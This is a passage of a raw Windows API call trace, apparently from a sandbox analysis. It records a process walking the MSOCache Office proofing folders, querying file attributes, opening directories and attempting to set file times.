ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86268 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82e98 [0038.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x140) returned 0xf85990 [0038.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0038.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0038.963] GetLastError () returned 0x12 [0038.963] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60e6f0 [0038.963] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60e6f0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60e6f0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60e6f0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60e6f0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60e6f0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0038.963] GetLastError () returned 0x12 [0038.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82a78) returned 1 [0038.963] FindClose (in: hFindFile=0x60e6f0 | out: hFindFile=0x60e6f0) returned 1 [0038.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82b80) returned 1 [0038.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82970) returned 1 [0038.963] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0038.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0038.963] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.997] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0038.997] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0038.998] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0038.998] NtClose (Handle=0x188) returned 0x0 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82970) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82b80 [0038.998] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0038.998] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.998] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82a78 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86288 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82fa0 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.998] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0038.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf862a8 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf830a8 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf862c8 [0038.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf831b0 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0038.999] GetLastError () returned 0x12 [0038.999] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0e0 [0038.999] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0038.999] GetLastError () returned 0x12 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82b80) returned 1 [0038.999] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82a78) returned 1 [0038.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82970) returned 1 [0038.999] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0039.000] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0039.000] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0039.000] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0039.000] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0039.000] NtClose (Handle=0x184) returned 0x0 [0039.000] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82970) returned 1 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0039.000] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82a78 [0039.000] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0e0 [0039.000] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.000] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.000] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.000] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82b80 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf862e8 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf832b8 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86308 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf833c0 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86328 [0039.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf834c8 [0039.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0039.001] GetLastError () returned 0x12 [0039.001] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0039.001] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0039.001] 